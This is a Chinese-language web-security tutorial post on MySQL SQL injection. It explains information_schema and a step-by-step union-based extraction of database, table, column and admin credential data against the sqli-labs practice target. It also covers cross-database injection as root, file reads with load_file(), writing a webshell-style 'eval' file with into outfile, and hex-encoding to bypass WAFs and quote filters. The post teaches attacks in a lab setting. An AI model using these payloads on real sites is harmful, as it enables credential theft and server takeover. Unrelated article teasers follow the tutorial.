Web攻防02-MySQL注入概述MySQL架构注入获取数据

文章目录

  • SQL注入概述:
      • sql注入的原理:
      • sql注入攻击:
  • MYSQL-Web组成架构
      • MYSQL5.0以上版本:自带的数据库information_schema
  • MYSQL注入流程
  • MYSQL注入查询数据过程
      • 查询数据流程
      • 靶场案例
  • MYSQL-SQL跨库注入查询
      • 跨库注入:
      • 影响条件:
      • 应用:
  • MYSQL-SQL文件读写
      • 影响条件:
      • 利用思路-读写的路径的问题:

请添加图片描述

SQL注入概述:

sql注入的原理:

接收的数值未进行过滤直接带入SQL进行查询操作。

sql注入攻击:

利用以上原理中SQL语句执行,查询出数据库中的信息(SQL语句执行能干什么,注入就能干什么)

SQL语句能干嘛–>SQL语句由谁决定 —> 数据库类型决定(所以SQL注入分为MySQL注入、Oracle注入等)

MYSQL-Web组成架构

服务器安装MYSQL数据库,搭建多个站点,数据集中存储在MYSQL数据库中管理

可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理

access无数据库用户

1、统一交root用户管理

www.zblog.com = zblog = root =>MYSQL

www.demo01.com = demo01 = root =>MYSQL

2、一对一用户管理(推荐)

www.zblog.com = zblog = zblog =>MYSQL

www.demo01.com = demo01 = demo01 =>MYSQL

MYSQL5.0以上版本:自带的数据库information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.schemata:记录数据库名信息的表

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

schema_name:information_schema.schemata记录数据库名信息的列名值

table_schema:information_schema.tables记录数据库名的列名值

table_name:information_schema.tables记录表名的列名值

column_name:information_schema.columns记录列名的列名值

MYSQL注入流程

1、判断常见四个信息(系统,用户,数据库名,版本)

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

2、根据四个信息去选择方案

root用户:先测试读写,后测试获取数据

为什么要先测试读写:

因为目的一般是为了获取当前web权限,若能读写文件,直接后门获取权限

一般获取数据是为了登录后台,登录后想办法上传webshell —> 获取权限

所以说就算获取到了数据,也不一定能够拿到权限。因为可能进去后台了但是后台里面啥都没有

非root用户:直接测试获取数据

MYSQL注入查询数据过程

ACCESS数据库没有类似MySQL中的information_schema这种东西,所以

access注入 sqlmap 只能靠字典去猜,又可能会猜不到表名,列名,就获取不到数据

依次从information_schema中查出数据库名,数据库所有表名、列名

然后根据以上信息查询数据。

order by 6 (字段个数)union select 1,2,3,4,5,6union select 1,2,3,database(),user(),6union select 1,2,3,version(),@@version_compile_os,6union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'union select 1,2,3,username,password,6 from admin limit 0,1

查询数据流程

目的:获取数据

一步步得到信息,先获取数据库名,再获取其中表名,然后获取列名,最后查询数据。其中每一步都尽可能筛选出一些敏感信息如admin,password等。

order by 6 (字段个数)union select 1,2,3,4,5,6union select 1,2,3,database(),user(),6union select 1,2,3,version(),@@version_compile_os,6union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'union select 1,2,3,username,password,6 from admin limit 0,1

靶场案例

1、确认有注入点

http://localhost/sqli-labs/Less-1/?id=1' order by 3 --+

请添加图片描述

2、确认回显位置:

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+

请添加图片描述

3、获取数据库名以及用户:

localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),user() --+

若用户为root用户则可以进行跨库注入查询。

请添加图片描述

4、获取库中所有表名:

localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables --+

请添加图片描述

5、选取可能有敏感信息(账号密码)的表进行查列:

6、查列后根据库名表名列名查询数据

MYSQL-SQL跨库注入查询

跨库注入:

如果注入点是一个root用户管理的点,就可以查到所有库

—> 可以实现从A网站(由root用户管理)的注入点跨库查询到B网站(由非root用户管理)的数据

影响条件:

管理当前数据库的用户是否为ROOT权限

测试不同数据库用户

应用:

通过B网站的注入点获取A网站的账号密码/数据

MYSQL-SQL文件读写

通过SQL注入,使用SQL语句中的load_file()读取文件

使用SQL语句中的into outfile将内容写入文件

影响条件:

1、当前数据库用户权限

root权限才可使用load_file()读取文件。

2、secure-file-priv设置

设置后就无法读取了

my.ini中固定

高版本的MySQL自带该保护,默认开启。只存在一些中低版本

测试不同数据库用户:root demo

union select 1,load_file('d:\\1.txt'),3,4,5,6union select 1,'eval',3,4,5,6 into outfile 'd:\\2.txt'

可以将路径改编码,—> 十六进制编码 —> 为了绕过WAF或者单引号过滤等。

用十六进制,前面加0x,即可不要单引号

单引号过滤绕过方式

SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

利用思路-读写的路径的问题:

1、报错显示获取路径

2、phpinfo页面泄漏

如果不知道路径思路:

利用常见的默认的中间件,数据库等安装路径,读取有价值信息

现在很少出现该漏洞了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/163010.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基础设施SIG月度动态:T-One 社区版调度引擎全量替换至 runnerV2 版本,调度性能平均提升 6.8 倍

基础设施 SIG(OpenAnolis Infra SIG)目标:负责 OpenAnolis 社区基础设施工程平台的建设,包括官网、Bugzilla、Maillist、ABS、ANAS、CI 门禁以及社区 DevOps 相关的研发工程系统。 01 SIG 整体进展 1.官网 SIG 外链跳转增加确认…

2023年10月中国数据库排行榜:墨天轮榜单前五开新局,金仓、亚信热度攀升

怀鸿鹄之志,展骐骥之跃。 2023年10月的 墨天轮中国数据库流行度排行 火热出炉,本月共有286个数据库参与排名。本月排行榜前十名变动较大,**华为 openGauss 重归探花之位,人大金仓 KingBase 热度上升,亚信 AntDB 进军10…

2023年中国粘度指数改进剂行业需求现状及前景分析[图]

润滑油添加剂指用于提高润滑油使用性能、耐久性及功效,从而增强机械和发动机使用性能的产品,分为单剂和复合剂两大类产品。单剂产品主要是清净剂、分散剂、抗氧抗腐剂、极压抗磨剂、抗氧剂、增粘剂、防锈剂、降凝剂等具有单一特性的添加剂产品&#xff1…

UnitTesting 单元测试

1. 测试分为两种及详细介绍测试书籍: 1.1 Unit Test : 单元测试 - test the business logic in your app : 测试应用中的业务逻辑 1.2 UI Test : 界面测试 - test the UI of your app : 测试应用中的界面 1.3 测试书籍网址:《Testing Swift》 https://www.hackingwithswift.c…

论文阅读之《Kindling the Darkness: A Practical Low-light Image Enhancer》

目录 摘要 介绍 已有方法回顾 普通方法 基于亮度的方法 基于深度学习的方法 基于图像去噪的方法 提出的方法 2.1 Layer Decomposition Net 2.2 Reflectance Restoration Net 2.3 Illumination Adjustment Net 实验结果 总结 Kindling the Darkness: A Practical L…

在线课堂知识付费积分兑换小程序源码系统 带完整搭建教程

大家好啊,今天罗峰来给大家分享一个在线课堂知识付费积分兑换小程序源码系统,以下是部分功能实现核心代码图: 系统特色功能一览: 积分获取:用户可以通过在平台上的各种操作,例如观看直播课程、学习文章、完…

塑料透光率测试可测试塑料部件的透明度和纯度

随着电子设备的快速发展,尤其是智能手机、平板电脑、可穿戴设备等新兴产品的普及,对塑料材料的需求量也在逐渐增加。因为这些电子设备需要大量的塑料材料来制造外壳、内部结构、部件等。电子设备在塑料行业的发展迅速,推动了塑料材料的技术进…

苹果手机怎么恢复数据?推荐这款数据恢复软件!

苹果手机一直以高颜值、系统稳定,以及优质的用户体验而闻名,这也使得购买苹果手机的用户逐渐增多。在手机中我们会保存各种各样的数据,包括照片、视频、备忘录、聊天记录等等。但是,这些数据可能会因为某些原因而导致丢失。 那么…

如何转换Corona和Vray材质?cr材质转vr材质的方法

cr材质转vr材质的方法一:使用CG Magic插件,一键转换 CG Magic是一款基于3ds Max深度开发的智能化辅助插件,上千项实用功能,降低渲染时长,节省时间和精力,大幅简化工作流程,助力高效完成创作。 …

Day3力扣打卡

打卡记录 改变一个整数能得到的最大差值(贪心) 链接 得到最大的整数,找到一个高位将它修改为 9。同理,想要得到最小的整数,找到一个高位将它修改为 0。 class Solution { public:int maxDiff(int num) {auto replace …

5种常见的软件缺陷分析方法

软件缺陷分析方法对于软件开发非常重要,能够帮助团队识别和分析软件中的缺陷问题,从而制定相应的解决方案,并持续改进软件质量和可靠性。通过合理应用这些方法,可以大幅提高软件开发效率和质量。 软件开发过程中,可能存…

Mysql 内外链接,索引,事务,用户管理以及用C语言链接Mysql

文章目录 内外链接索引索引的相关操作全文索引 事务事务的操作事务的隔离级别隔离级别3个记录隐藏列字段 用户管理权限修改 使用C语言链接数据库 内外链接 两张表直接做笛卡尔积为内连接,之前使用的都是内连接 两张表:stu和exam 将两张表进行连接&…

1、Flowable基础

Flowable是BPMN的一个基于java的软件实现,不过Flowable不仅仅包括BPMN,还有DMN决策表和CMMN Case管理引擎,并且有自己的用户管理、微服务API等一系列功能,是一个服务平台。 官方手册:https://tkjohn.github.io/flowab…

推荐系统离线评估方法和评估指标,以及在推荐服务器内部实现A/B测试和解决A/B测试资源紧张的方法。还介绍了如何在TensorFlow中进行模型离线评估实践。

文章目录 🌟 离线评估:常用的推荐系统离线评估方法有哪些?🍊 1. RMSE/MSE🍊 2. MAE🍊 3. Precision/Recall/F1-score🍊 4. Coverage🍊 5. Personalization🍊 6. AUC &…

Spring Security登录账户自定义与数据持久化(5)

1、用户自定义 在前面的案例中,我们的登录用户是基于配置文件来配置的(本质是基于内存),但是在实际开发中,这种方式肯定是不可取的,在实际项目中,用户信息肯定要存入数据库之中。 Spring Security支持多种用户定义方…

和鲸ModelWhale与中科可控X系列异构加速服务器完成适配认证,搭载海光芯片,构筑AI算力底座

AIGC 时代,算力作为新型生产力,是国家和企业构建竞争优势的关键。而随着传统计算方式无法满足新时代激增的算力需求,计算场景的多元化和计算应用的复杂化推动了 CPUGPU 异构平台的加速组建。在此全球激烈角逐的大趋势下,我国信创产…

《论文阅读28》OGMM

一、论文 研究领域: 点云配准 | 有监督 部分重叠论文:Overlap-guided Gaussian Mixture Models for Point Cloud Registration WACV 2023 二、概述 概率3D点云配准方法在克服噪声、异常值和密度变化方面表现出有竞争力的性能。本文将点云对的配准问题…

腾讯云服务器带宽下载速度表(附上行带宽计算方法)

腾讯云服务器公网带宽下载速度计算,1M公网带宽下载速度是128KB/秒,5M带宽下载速度是512KB/s,腾讯云10M带宽下载速度是1.25M/秒,腾讯云百科txybk.com来详细说下腾讯云服务器不同公网带宽实际下载速度以及对应的上传速度对照表&…

凉鞋的 Unity 笔记 202. 变量概述与简介

202. 变量概述与简介 想要用好变量不是一件简单的事情,因为变量需要命名。 我们可以从两个角度看待一个变量,第一个角度是变量的功能,第二个是变量的可读性。 变量的功能其实非常简单,变量可以存储一个值,这个值是特…

Flume 简介及基本使用

1.Flume简介 Apache Flume 是一个分布式,高可用的数据收集系统。它可以从不同的数据源收集数据,经过聚合后发送到存储系统中,通常用于日志数据的收集。Flume 分为 NG 和 OG (1.0 之前) 两个版本,NG 在 OG 的基础上进行了完全的重构,是目前使用最为广泛的版本。下面的介绍均…